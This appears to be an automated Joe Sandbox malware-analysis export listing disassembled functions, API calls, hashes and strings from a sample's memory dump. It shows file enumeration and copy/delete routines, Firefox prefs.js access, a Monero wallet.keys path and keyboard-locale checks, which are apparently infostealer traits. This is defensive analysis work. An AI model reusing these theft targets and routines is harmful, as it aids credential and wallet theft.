Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: ce37dcb1815f02f88dfead1b77c9fbbefa0161319a774ef6b1ae89a660b47c1d
Instruction ID: cf1d8d467243a13bda1c1d05405bfe1fcfdeec24dfc0818d9b32a1c986660717
Opcode Fuzzy Hash: ce37dcb1815f02f88dfead1b77c9fbbefa0161319a774ef6b1ae89a660b47c1d
Instruction Fuzzy Hash: A05145B69502189BC724EF74DC89FED77BCEB58300F4045C8B609D6190EB749B858FA1

Function 00B13EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B13EC3
FindFirstFileA.KERNEL32(?,?), ref: 00B13EDA
StrCmpCA.SHLWAPI(?,00B20FAC), ref: 00B13F08
StrCmpCA.SHLWAPI(?,00B20FB0), ref: 00B13F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00B1406C
FindClose.KERNEL32(000000FF), ref: 00B14081

Strings

%s\%s, xrefs: 00B13EB7

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 5f932432ea01ccd81a03e9be74ab15d7f09ce62fe0cf660049b0f86c77532029
Instruction ID: 75634d13bf0c0c098f663105aedec213371cb871564d903fece96c3ba98db20c
Opcode Fuzzy Hash: 5f932432ea01ccd81a03e9be74ab15d7f09ce62fe0cf660049b0f86c77532029
Instruction Fuzzy Hash: 84516AB6940318ABCB24EFB4DC85EE973BCFB58700F4045C8B65996180EB75DB858FA1

Function 00B0ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B0ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00B0ED55
StrCmpCA.SHLWAPI(?,00B21538), ref: 00B0EDAB
StrCmpCA.SHLWAPI(?,00B2153C), ref: 00B0EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00B0F2AE
FindClose.KERNEL32(000000FF), ref: 00B0F2C3

Strings

%s\*.*, xrefs: 00B0ED32

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: aa6e449f39596b1e54afeaf01d44fc39a5c70f532fca58fbaaabaab40e9cd955
Instruction ID: ba61bef43799b7a391bc4885784822da806172a8c74846516bc775a425260a9a
Opcode Fuzzy Hash: aa6e449f39596b1e54afeaf01d44fc39a5c70f532fca58fbaaabaab40e9cd955
Instruction Fuzzy Hash: F0E1F3719121189AEB55FB64DD52EEE73B8AF54310F8045E9B40A62092EF307FCACF52

Function 00B0F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B215B8,00B20D96), ref: 00B0F71E
StrCmpCA.SHLWAPI(?,00B215BC), ref: 00B0F76F
StrCmpCA.SHLWAPI(?,00B215C0), ref: 00B0F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00B0FAB1
FindClose.KERNEL32(000000FF), ref: 00B0FAC3

Strings

prefs.js, xrefs: 00B0F812

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 51128d814956b2e432475efaa4cc16a1f7c5058d045a6bcf00b8302b77a982c3
Instruction ID: a3da772a5ca757a6790893d69deae9898ba0bb04a936a9ca5b9556a1ae1f94c5
Opcode Fuzzy Hash: 51128d814956b2e432475efaa4cc16a1f7c5058d045a6bcf00b8302b77a982c3
Instruction Fuzzy Hash: 41B175719012189BCB24FF64DD95EED77B9AF54310F8085E8E40A96191EF306B8ACF92

Function 00B016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B2510C,?,?,?,00B251B4,?,?,00000000,?,00000000), ref: 00B01923
StrCmpCA.SHLWAPI(?,00B2525C), ref: 00B01973
StrCmpCA.SHLWAPI(?,00B25304), ref: 00B01989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B01D40
DeleteFileA.KERNEL32(00000000), ref: 00B01DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00B01E20
FindClose.KERNEL32(000000FF), ref: 00B01E32

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

Strings

\*.*, xrefs: 00B017F1

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 9cff878d3d490f92eb608244b6c99854baae0983a98e7fa5141bf9678bec5b18
Instruction ID: e94b6e250e7e02af0130d210c17a765008f2d8780a03ec70a7b8a5110bbef6dc
Opcode Fuzzy Hash: 9cff878d3d490f92eb608244b6c99854baae0983a98e7fa5141bf9678bec5b18
Instruction Fuzzy Hash: 7812EC719111189BDB19FB60DD96EEE73B8AF54310F8045D9A10A66091EF307FCACFA1

Function 00B0DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00B20C2E), ref: 00B0DE5E
StrCmpCA.SHLWAPI(?,00B214C8), ref: 00B0DEAE
StrCmpCA.SHLWAPI(?,00B214CC), ref: 00B0DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00B0E3E0
FindClose.KERNEL32(000000FF), ref: 00B0E3F2

Strings

\*.*, xrefs: 00B0DE26

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: eb66167969ca100c3c3cfd3f03ee85de26dc3bcfdeaaa8eacae6b909e56f5bf2
Instruction ID: 02f872215d60ffc17a38d4abadb12cfcf454c5bc781636a39136422df3ea6807
Opcode Fuzzy Hash: eb66167969ca100c3c3cfd3f03ee85de26dc3bcfdeaaa8eacae6b909e56f5bf2
Instruction Fuzzy Hash: 1DF18B718151189ADB29FB64DD96EEE73B8AF14310FC045D9A41A62091EF307FCACF62

Function 00B0DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B214B0,00B20C2A), ref: 00B0DAEB
StrCmpCA.SHLWAPI(?,00B214B4), ref: 00B0DB33
StrCmpCA.SHLWAPI(?,00B214B8), ref: 00B0DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00B0DDCC
FindClose.KERNEL32(000000FF), ref: 00B0DDDE

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 8819f8c7412ffffc19cbbdd3d7d107122d989483038088620330a7c1805abfd9
Instruction ID: ba5a463fb597de914767572306b49218b0760b821ee2b6e5833de225ed7ca35b
Opcode Fuzzy Hash: 8819f8c7412ffffc19cbbdd3d7d107122d989483038088620330a7c1805abfd9
Instruction Fuzzy Hash: 9891487290010497CB14FFB4ED569ED77BDAF94310F4086E8F90A961D1EE34AB49CB92

Function 00B17B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

GetKeyboardLayoutList.USER32(00000000,00000000,00B205AF), ref: 00B17BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00B17BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00B17C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00B17C62
LocalFree.KERNEL32(00000000), ref: 00B17D22

Strings

/ , xrefs: 00B17C7F

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: f9e43291fbbe636edda4092dc7944a7e70a18082ab826bfc5855a2b7ac0a113b
Instruction ID: f7c9efe6207144d6021c000b695acf2dab893beb14f6fa2758b33a65516a7bde
Opcode Fuzzy Hash: f9e43291fbbe636edda4092dc7944a7e70a18082ab826bfc5855a2b7ac0a113b
Instruction Fuzzy Hash: 61412C71941218ABDB24DF54DC99BEDB3B4FB44710F6041D9E009A2291DB342F86CFA1

Function 00EE24C9 Relevance: 10.4, Strings: 7, Instructions: 1624COMMON

Download Yara Rule

Strings

Zx,, xrefs: 00EE3399
PH_, xrefs: 00EE3256
P1z, xrefs: 00EE272A
Pswz, xrefs: 00EE3794
Um{, xrefs: 00EE257C
GBc, xrefs: 00EE343C
!6l, xrefs: 00EE2C6A

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !6l$GBc$P1z$PH_$Pswz$Zx,$Um{
API String ID: 0-2757611981
Opcode ID: 3b246794d03f94bdc659a3e06828b68eb3e4474e2a9a1e3f521e19597a748723
Instruction ID: 6983b8af724114955b8f1918efdf4a2a17cd6d7e27c5e9d5ac2b2f62d8633040
Opcode Fuzzy Hash: 3b246794d03f94bdc659a3e06828b68eb3e4474e2a9a1e3f521e19597a748723
Instruction Fuzzy Hash: 22B2F8F3608200AFE7046E29EC8567ABBE9EF94720F16893DEAC4C3744E63558458797

Function 00B0E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00B20D73), ref: 00B0E4A2
StrCmpCA.SHLWAPI(?,00B214F8), ref: 00B0E4F2
StrCmpCA.SHLWAPI(?,00B214FC), ref: 00B0E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00B0EBDF

Strings

\*.*, xrefs: 00B0E44D

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
